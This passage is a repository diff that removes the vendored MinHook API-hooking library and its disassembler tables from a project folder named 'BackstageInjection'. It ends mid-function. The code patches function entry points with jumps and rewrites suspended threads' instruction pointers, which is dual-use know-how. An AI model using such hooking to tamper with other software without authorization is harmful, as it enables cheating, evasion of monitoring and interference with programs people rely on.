* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
#include <windows.h>
// Integer types for HDE.
typedef INT8 int8_t;
typedef INT16 int16_t;
typedef INT32 int32_t;
typedef INT64 int64_t;
typedef UINT8 uint8_t;
typedef UINT16 uint16_t;
typedef UINT32 uint32_t;
typedef UINT64 uint64_t;
BackstageInjection/Minhook/src/hde/table32.h
-73
View File
@@ -1,73 +0,0 @@
/*
* Hacker Disassembler Engine 32 C
* Copyright (c) 2008-2009, Vyacheslav Patkov.
* All rights reserved.
*
*/
#define C_NONE 0x00
#define C_MODRM 0x01
#define C_IMM8 0x02
#define C_IMM16 0x04
#define C_IMM_P66 0x10
#define C_REL8 0x20
#define C_REL32 0x40
#define C_GROUP 0x80
#define C_ERROR 0xff
#define PRE_ANY 0x00
#define PRE_NONE 0x01
#define PRE_F2 0x02
#define PRE_F3 0x04
#define PRE_66 0x08
#define PRE_67 0x10
#define PRE_LOCK 0x20
#define PRE_SEG 0x40
#define PRE_ALL 0xff
#define DELTA_OPCODES 0x4a
#define DELTA_FPU_REG 0xf1
#define DELTA_FPU_MODRM 0xf8
#define DELTA_PREFIXES 0x130
#define DELTA_OP_LOCK_OK 0x1a1
#define DELTA_OP2_LOCK_OK 0x1b9
#define DELTA_OP_ONLY_MEM 0x1cb
#define DELTA_OP2_ONLY_MEM 0x1da
unsigned char hde32_table[] = {
0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,
0xa8,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xac,0xaa,0xb2,0xaa,0x9f,0x9f,
0x9f,0x9f,0xb5,0xa3,0xa3,0xa4,0xaa,0xaa,0xba,0xaa,0x96,0xaa,0xa8,0xaa,0xc3,
0xc3,0x96,0x96,0xb7,0xae,0xd6,0xbd,0xa3,0xc5,0xa3,0xa3,0x9f,0xc3,0x9c,0xaa,
0xaa,0xac,0xaa,0xbf,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0x90,
0x82,0x7d,0x97,0x59,0x59,0x59,0x59,0x59,0x7f,0x59,0x59,0x60,0x7d,0x7f,0x7f,
0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x9a,0x88,0x7d,
0x59,0x50,0x50,0x50,0x50,0x59,0x59,0x59,0x59,0x61,0x94,0x61,0x9e,0x59,0x59,
0x85,0x59,0x92,0xa3,0x60,0x60,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,
0x59,0x59,0x9f,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xcc,0x01,0xbc,0x03,0xf0,
0x10,0x10,0x10,0x10,0x50,0x50,0x50,0x50,0x14,0x20,0x20,0x20,0x20,0x01,0x01,
0x01,0x01,0xc4,0x02,0x10,0x00,0x00,0x00,0x00,0x01,0x01,0xc0,0xc2,0x10,0x11,
0x02,0x03,0x11,0x03,0x03,0x04,0x00,0x00,0x14,0x00,0x02,0x00,0x00,0xc6,0xc8,
0x02,0x02,0x02,0x02,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0xca,
0x01,0x01,0x01,0x00,0x06,0x00,0x04,0x00,0xc0,0xc2,0x01,0x01,0x03,0x01,0xff,
0xff,0x01,0x00,0x03,0xc4,0xc4,0xc6,0x03,0x01,0x01,0x01,0xff,0x03,0x03,0x03,
0xc8,0x40,0x00,0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,
0x00,0x00,0x00,0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,
0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0xff,0xff,0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x7f,0x00,0x00,0xff,0x4a,0x4a,0x4a,0x4a,0x4b,0x52,0x4a,0x4a,0x4a,0x4a,0x4f,
0x4c,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x55,0x45,0x40,0x4a,0x4a,0x4a,
0x45,0x59,0x4d,0x46,0x4a,0x5d,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,
0x4a,0x4a,0x4a,0x4a,0x4a,0x61,0x63,0x67,0x4e,0x4a,0x4a,0x6b,0x6d,0x4a,0x4a,
0x45,0x6d,0x4a,0x4a,0x44,0x45,0x4a,0x4a,0x00,0x00,0x00,0x02,0x0d,0x06,0x06,
0x06,0x06,0x0e,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x00,0x06,0x06,0x02,0x06,
0x00,0x0a,0x0a,0x07,0x07,0x06,0x02,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
0x04,0x04,0x00,0x00,0x00,0x0e,0x05,0x06,0x06,0x06,0x01,0x06,0x00,0x00,0x08,
0x00,0x10,0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,
0x86,0x00,0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,
0xf8,0xbb,0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,
0xc4,0xff,0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,
0x13,0x09,0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,
0xb2,0xff,0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,
0xe7,0x08,0x00,0xf0,0x02,0x00
};
BackstageInjection/Minhook/src/hde/table64.h
-74
View File
@@ -1,74 +0,0 @@
/*
* Hacker Disassembler Engine 64 C
* Copyright (c) 2008-2009, Vyacheslav Patkov.
* All rights reserved.
*
*/
#define C_NONE 0x00
#define C_MODRM 0x01
#define C_IMM8 0x02
#define C_IMM16 0x04
#define C_IMM_P66 0x10
#define C_REL8 0x20
#define C_REL32 0x40
#define C_GROUP 0x80
#define C_ERROR 0xff
#define PRE_ANY 0x00
#define PRE_NONE 0x01
#define PRE_F2 0x02
#define PRE_F3 0x04
#define PRE_66 0x08
#define PRE_67 0x10
#define PRE_LOCK 0x20
#define PRE_SEG 0x40
#define PRE_ALL 0xff
#define DELTA_OPCODES 0x4a
#define DELTA_FPU_REG 0xfd
#define DELTA_FPU_MODRM 0x104
#define DELTA_PREFIXES 0x13c
#define DELTA_OP_LOCK_OK 0x1ae
#define DELTA_OP2_LOCK_OK 0x1c6
#define DELTA_OP_ONLY_MEM 0x1d8
#define DELTA_OP2_ONLY_MEM 0x1e7
unsigned char hde64_table[] = {
0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5,
0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1,
0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea,
0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0,
0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab,
0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92,
0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90,
0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b,
0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,
0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc,
0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20,
0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff,
0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00,
0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01,
0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10,
0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00,
0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00,
0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,
0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00,
0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40,
0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43,
0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40,
0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06,
0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07,
0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10,
0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00,
0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb,
0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff,
0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09,
0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff,
0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08,
0x00,0xf0,0x02,0x00
};
BackstageInjection/Minhook/src/hook.c
-939
View File
@@ -1,939 +0,0 @@
/*
* MinHook - The Minimalistic API Hooking Library for x64/x86
* Copyright (C) 2009-2017 Tsuda Kageyu.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#include <tlhelp32.h>
#include <limits.h>
#include "../include/MinHook.h"
#include "buffer.h"
#include "trampoline.h"
#ifndef ARRAYSIZE
#define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0]))
#endif
// Initial capacity of the HOOK_ENTRY buffer.
#define INITIAL_HOOK_CAPACITY 32
// Initial capacity of the thread IDs buffer.
#define INITIAL_THREAD_CAPACITY 128
// Special hook position values.
#define INVALID_HOOK_POS UINT_MAX
#define ALL_HOOKS_POS UINT_MAX
// Freeze() action argument defines.
#define ACTION_DISABLE 0
#define ACTION_ENABLE 1
#define ACTION_APPLY_QUEUED 2
// Thread access rights for suspending/resuming threads.
#define THREAD_ACCESS \
(THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT)
// Hook information.
typedef struct _HOOK_ENTRY
{
LPVOID pTarget; // Address of the target function.
LPVOID pDetour; // Address of the detour or relay function.
LPVOID pTrampoline; // Address of the trampoline function.
UINT8 backup[8]; // Original prologue of the target function.
UINT8 patchAbove : 1; // Uses the hot patch area.
UINT8 isEnabled : 1; // Enabled.
UINT8 queueEnable : 1; // Queued for enabling/disabling when != isEnabled.
UINT nIP : 4; // Count of the instruction boundaries.
UINT8 oldIPs[8]; // Instruction boundaries of the target function.
UINT8 newIPs[8]; // Instruction boundaries of the trampoline function.
} HOOK_ENTRY, *PHOOK_ENTRY;
// Suspended threads for Freeze()/Unfreeze().
typedef struct _FROZEN_THREADS
{
LPDWORD pItems; // Data heap
UINT capacity; // Size of allocated data heap, items
UINT size; // Actual number of data items
} FROZEN_THREADS, *PFROZEN_THREADS;
//-------------------------------------------------------------------------
// Global Variables:
//-------------------------------------------------------------------------
// Spin lock flag for EnterSpinLock()/LeaveSpinLock().
static volatile LONG g_isLocked = FALSE;
// Private heap handle. If not NULL, this library is initialized.
static HANDLE g_hHeap = NULL;
// Hook entries.
static struct
{
PHOOK_ENTRY pItems; // Data heap
UINT capacity; // Size of allocated data heap, items
UINT size; // Actual number of data items
} g_hooks;
//-------------------------------------------------------------------------
// Returns INVALID_HOOK_POS if not found.
static UINT FindHookEntry(LPVOID pTarget)
{
UINT i;
for (i = 0; i < g_hooks.size; ++i)
{
if ((ULONG_PTR)pTarget == (ULONG_PTR)g_hooks.pItems[i].pTarget)
return i;
}
return INVALID_HOOK_POS;
}
//-------------------------------------------------------------------------
static PHOOK_ENTRY AddHookEntry()
{
if (g_hooks.pItems == NULL)
{
g_hooks.capacity = INITIAL_HOOK_CAPACITY;
g_hooks.pItems = (PHOOK_ENTRY)HeapAlloc(
g_hHeap, 0, g_hooks.capacity * sizeof(HOOK_ENTRY));
if (g_hooks.pItems == NULL)
return NULL;
}
else if (g_hooks.size >= g_hooks.capacity)
{
PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc(
g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity * 2) * sizeof(HOOK_ENTRY));
if (p == NULL)
return NULL;
g_hooks.capacity *= 2;
g_hooks.pItems = p;
}
return &g_hooks.pItems[g_hooks.size++];
}
//-------------------------------------------------------------------------
static VOID DeleteHookEntry(UINT pos)
{
if (pos < g_hooks.size - 1)
g_hooks.pItems[pos] = g_hooks.pItems[g_hooks.size - 1];
g_hooks.size--;
if (g_hooks.capacity / 2 >= INITIAL_HOOK_CAPACITY && g_hooks.capacity / 2 >= g_hooks.size)
{
PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc(
g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity / 2) * sizeof(HOOK_ENTRY));
if (p == NULL)
return;
g_hooks.capacity /= 2;
g_hooks.pItems = p;
}
}
//-------------------------------------------------------------------------
static DWORD_PTR FindOldIP(PHOOK_ENTRY pHook, DWORD_PTR ip)
{
UINT i;
if (pHook->patchAbove && ip == ((DWORD_PTR)pHook->pTarget - sizeof(JMP_REL)))
return (DWORD_PTR)pHook->pTarget;
for (i = 0; i < pHook->nIP; ++i)
{
if (ip == ((DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i]))
return (DWORD_PTR)pHook->pTarget + pHook->oldIPs[i];
}
#if defined(_M_X64) || defined(__x86_64__)
// Check relay function.
if (ip == (DWORD_PTR)pHook->pDetour)
return (DWORD_PTR)pHook->pTarget;
#endif
return 0;
}
//-------------------------------------------------------------------------
static DWORD_PTR FindNewIP(PHOOK_ENTRY pHook, DWORD_PTR ip)
{
UINT i;
for (i = 0; i < pHook->nIP; ++i)
{
if (ip == ((DWORD_PTR)pHook->pTarget + pHook->oldIPs[i]))
return (DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i];
}
return 0;
}
//-------------------------------------------------------------------------
static VOID ProcessThreadIPs(HANDLE hThread, UINT pos, UINT action)
{
// If the thread suspended in the overwritten area,
// move IP to the proper address.
CONTEXT c;
#if defined(_M_X64) || defined(__x86_64__)
DWORD64 *pIP = &c.Rip;
#else
DWORD *pIP = &c.Eip;
#endif
UINT count;
c.ContextFlags = CONTEXT_CONTROL;
if (!GetThreadContext(hThread, &c))
return;
if (pos == ALL_HOOKS_POS)
{
pos = 0;
count = g_hooks.size;
}
else
{
count = pos + 1;
}
for (; pos < count; ++pos)
{
PHOOK_ENTRY pHook = &g_hooks.pItems[pos];
BOOL enable;
DWORD_PTR ip;
switch (action)
{
case ACTION_DISABLE:
enable = FALSE;
break;
case ACTION_ENABLE:
enable = TRUE;
break;
default: // ACTION_APPLY_QUEUED
enable = pHook->queueEnable;
break;
}
if (pHook->isEnabled == enable)
continue;
if (enable)
ip = FindNewIP(pHook, *pIP);
else
ip = FindOldIP(pHook, *pIP);
if (ip != 0)
{
*pIP = ip;
SetThreadContext(hThread, &c);
}
}
}
//-------------------------------------------------------------------------
static BOOL EnumerateThreads(PFROZEN_THREADS pThreads)
{
BOOL succeeded = FALSE;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot != INVALID_HANDLE_VALUE)
{
THREADENTRY32 te;
te.dwSize = sizeof(THREADENTRY32);
if (Thread32First(hSnapshot, &te))
{
succeeded = TRUE;
do
{
if (te.dwSize >= (FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(DWORD))
&& te.th32OwnerProcessID == GetCurrentProcessId()
&& te.th32ThreadID != GetCurrentThreadId())
{
if (pThreads->pItems == NULL)
{
pThreads->capacity = INITIAL_THREAD_CAPACITY;
pThreads->pItems
= (LPDWORD)HeapAlloc(g_hHeap, 0, pThreads->capacity * sizeof(DWORD));
if (pThreads->pItems == NULL)
{
succeeded = FALSE;
break;
}
}
else if (pThreads->size >= pThreads->capacity)
{
LPDWORD p;
pThreads->capacity *= 2;
p = (LPDWORD)HeapReAlloc(
g_hHeap, 0, pThreads->pItems, pThreads->capacity * sizeof(DWORD));
if (p == NULL)
{
succeeded = FALSE;
break;
}
pThreads->pItems = p;
}
pThreads->pItems[pThreads->size++] = te.th32ThreadID;
}
te.dwSize = sizeof(THREADENTRY32);
} while (Thread32Next(hSnapshot, &te));
if (succeeded && GetLastError() != ERROR_NO_MORE_FILES)
succeeded = FALSE;
if (!succeeded && pThreads->pItems != NULL)
{
HeapFree(g_hHeap, 0, pThreads->pItems);
pThreads->pItems = NULL;
}
}
CloseHandle(hSnapshot);
}
return succeeded;
}
//-------------------------------------------------------------------------
static MH_STATUS Freeze(PFROZEN_THREADS pThreads, UINT pos, UINT action)
{
MH_STATUS status = MH_OK;
pThreads->pItems = NULL;
pThreads->capacity = 0;
pThreads->size = 0;
if (!EnumerateThreads(pThreads))
{
status = MH_ERROR_MEMORY_ALLOC;
}
else if (pThreads->pItems != NULL)
{
UINT i;
for (i = 0; i < pThreads->size; ++i)
{
HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, pThreads->pItems[i]);
BOOL suspended = FALSE;
if (hThread != NULL)
{
DWORD result = SuspendThread(hThread);
if (result != 0xFFFFFFFF)
{
suspended = TRUE;
ProcessThreadIPs(hThread, pos, action);
}
CloseHandle(hThread);
}
if (!suspended)
{
// Mark thread as not suspended, so it's not resumed later on.
pThreads->pItems[i] = 0;
}
}
}
return status;
}
//-------------------------------------------------------------------------
static VOID Unfreeze(PFROZEN_THREADS pThreads)
{
if (pThreads->pItems != NULL)
{
UINT i;
for (i = 0; i < pThreads->size; ++i)
{
DWORD threadId = pThreads->pItems[i];
if (threadId != 0)
{
HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, threadId);
if (hThread != NULL)
{
ResumeThread(hThread);
CloseHandle(hThread);
}
}
}
HeapFree(g_hHeap, 0, pThreads->pItems);
}
}
//-------------------------------------------------------------------------
static MH_STATUS EnableHookLL(UINT pos, BOOL enable)
{
PHOOK_ENTRY pHook = &g_hooks.pItems[pos];
DWORD oldProtect;
SIZE_T patchSize = sizeof(JMP_REL);
LPBYTE pPatchTarget = (LPBYTE)pHook->pTarget;
if (pHook->patchAbove)
{
pPatchTarget -= sizeof(JMP_REL);
patchSize += sizeof(JMP_REL_SHORT);
}
if (!VirtualProtect(pPatchTarget, patchSize, PAGE_EXECUTE_READWRITE, &oldProtect))
return MH_ERROR_MEMORY_PROTECT;
if (enable)
{
PJMP_REL pJmp = (PJMP_REL)pPatchTarget;
pJmp->opcode = 0xE9;
pJmp->operand = (INT32)((LPBYTE)pHook->pDetour - (pPatchTarget + sizeof(JMP_REL)));
if (pHook->patchAbove)
{
PJMP_REL_SHORT pShortJmp = (PJMP_REL_SHORT)pHook->pTarget;
pShortJmp->opcode = 0xEB;
pShortJmp->operand = (INT8)(0 - (sizeof(JMP_REL_SHORT) + sizeof(JMP_REL)));
}
}
else
{
if (pHook->patchAbove)
memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL) + sizeof(JMP_REL_SHORT));
else
memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL));
}
VirtualProtect(pPatchTarget, patchSize, oldProtect, &oldProtect);
// Just-in-case measure.
FlushInstructionCache(GetCurrentProcess(), pPatchTarget, patchSize);
pHook->isEnabled = enable;
pHook->queueEnable = enable;
return MH_OK;
}
//-------------------------------------------------------------------------
static MH_STATUS EnableAllHooksLL(BOOL enable)
{
MH_STATUS status = MH_OK;
UINT i, first = INVALID_HOOK_POS;
for (i = 0; i < g_hooks.size; ++i)
{
if (g_hooks.pItems[i].isEnabled != enable)
{
first = i;
break;
}
}
if (first != INVALID_HOOK_POS)
{
FROZEN_THREADS threads;
status = Freeze(&threads, ALL_HOOKS_POS, enable ? ACTION_ENABLE : ACTION_DISABLE);
if (status == MH_OK)
{
for (i = first; i < g_hooks.size; ++i)
{
if (g_hooks.pItems[i].isEnabled != enable)
{
status = EnableHookLL(i, enable);
if (status != MH_OK)
break;
}
}
Unfreeze(&threads);
}
}
return status;
}
//-------------------------------------------------------------------------
static VOID EnterSpinLock(VOID)
{
SIZE_T spinCount = 0;
// Wait until the flag is FALSE.
while (InterlockedCompareExchange(&g_isLocked, TRUE, FALSE) != FALSE)
{
// No need to generate a memory barrier here, since InterlockedCompareExchange()
// generates a full memory barrier itself.
// Prevent the loop from being too busy.
if (spinCount < 32)
Sleep(0);
else
Sleep(1);
spinCount++;
}
}
//-------------------------------------------------------------------------
static VOID LeaveSpinLock(VOID)
{
// No need to generate a memory barrier here, since InterlockedExchange()
// generates a full memory barrier itself.
InterlockedExchange(&g_isLocked, FALSE);
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_Initialize(VOID)
{
MH_STATUS status = MH_OK;
EnterSpinLock();
if (g_hHeap == NULL)
{
g_hHeap = HeapCreate(0, 0, 0);
if (g_hHeap != NULL)
{
// Initialize the internal function buffer.
InitializeBuffer();
}
else
{
status = MH_ERROR_MEMORY_ALLOC;
}
}
else
{
status = MH_ERROR_ALREADY_INITIALIZED;
}
LeaveSpinLock();
return status;
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_Uninitialize(VOID)
{
MH_STATUS status = MH_OK;
EnterSpinLock();
if (g_hHeap != NULL)
{
status = EnableAllHooksLL(FALSE);
if (status == MH_OK)
{
// Free the internal function buffer.
// HeapFree is actually not required, but some tools detect a false
// memory leak without HeapFree.
UninitializeBuffer();
HeapFree(g_hHeap, 0, g_hooks.pItems);
HeapDestroy(g_hHeap);
g_hHeap = NULL;
g_hooks.pItems = NULL;
g_hooks.capacity = 0;
g_hooks.size = 0;
}
}
else
{
status = MH_ERROR_NOT_INITIALIZED;
}
LeaveSpinLock();
return status;
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal)
{
MH_STATUS status = MH_OK;
EnterSpinLock();
if (g_hHeap != NULL)
{
if (IsExecutableAddress(pTarget) && IsExecutableAddress(pDetour))
{
UINT pos = FindHookEntry(pTarget);
if (pos == INVALID_HOOK_POS)
{
LPVOID pBuffer = AllocateBuffer(pTarget);
if (pBuffer != NULL)
{
TRAMPOLINE ct;
ct.pTarget = pTarget;
ct.pDetour = pDetour;
ct.pTrampoline = pBuffer;
if (CreateTrampolineFunction(&ct))
{
PHOOK_ENTRY pHook = AddHookEntry();
if (pHook != NULL)
{
pHook->pTarget = ct.pTarget;
#if defined(_M_X64) || defined(__x86_64__)
pHook->pDetour = ct.pRelay;
#else
pHook->pDetour = ct.pDetour;
#endif
pHook->pTrampoline = ct.pTrampoline;
pHook->patchAbove = ct.patchAbove;
pHook->isEnabled = FALSE;
pHook->queueEnable = FALSE;
pHook->nIP = ct.nIP;
memcpy(pHook->oldIPs, ct.oldIPs, ARRAYSIZE(ct.oldIPs));
memcpy(pHook->newIPs, ct.newIPs, ARRAYSIZE(ct.newIPs));
// Back up the target function.
if (ct.patchAbove)
{
memcpy(
pHook->backup,
(LPBYTE)pTarget - sizeof(JMP_REL),
sizeof(JMP_REL) + sizeof(JMP_REL_SHORT));
}
else
{
memcpy(pHook->backup, pTarget, sizeof(JMP_REL));
}
if (ppOriginal != NULL)
*ppOriginal = pHook->pTrampoline;
}
else
{
status = MH_ERROR_MEMORY_ALLOC;
}
}
else
{
status = MH_ERROR_UNSUPPORTED_FUNCTION;
}
if (status != MH_OK)
{
FreeBuffer(pBuffer);
}
}
else
{
status = MH_ERROR_MEMORY_ALLOC;
}
}
else
{
status = MH_ERROR_ALREADY_CREATED;
}
}
else
{
status = MH_ERROR_NOT_EXECUTABLE;
}
}
else
{
status = MH_ERROR_NOT_INITIALIZED;
}
LeaveSpinLock();
return status;
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget)
{
MH_STATUS status = MH_OK;
EnterSpinLock();
if (g_hHeap != NULL)
{
UINT pos = FindHookEntry(pTarget);
if (pos != INVALID_HOOK_POS)
{
if (g_hooks.pItems[pos].isEnabled)
{
FROZEN_THREADS threads;
status = Freeze(&threads, pos, ACTION_DISABLE);
if (status == MH_OK)
{
status = EnableHookLL(pos, FALSE);
Unfreeze(&threads);
}
}
if (status == MH_OK)
{
FreeBuffer(g_hooks.pItems[pos].pTrampoline);
DeleteHookEntry(pos);
}
}
else
{
status = MH_ERROR_NOT_CREATED;
}
}
else
{
status = MH_ERROR_NOT_INITIALIZED;
}
LeaveSpinLock();
return status;
}
//-------------------------------------------------------------------------
static MH_STATUS EnableHook(LPVOID pTarget, BOOL enable)
{
MH_STATUS status = MH_OK;
EnterSpinLock();
if (g_hHeap != NULL)
{
if (pTarget == MH_ALL_HOOKS)
{
status = EnableAllHooksLL(enable);
}
else
{
UINT pos = FindHookEntry(pTarget);
if (pos != INVALID_HOOK_POS)
{
if (g_hooks.pItems[pos].isEnabled != enable)
{
FROZEN_THREADS threads;
status = Freeze(&threads, pos, ACTION_ENABLE);
if (status == MH_OK)
{
status = EnableHookLL(pos, enable);
Unfreeze(&threads);
}
}
else
{
status = enable ? MH_ERROR_ENABLED : MH_ERROR_DISABLED;
}
}
else
{
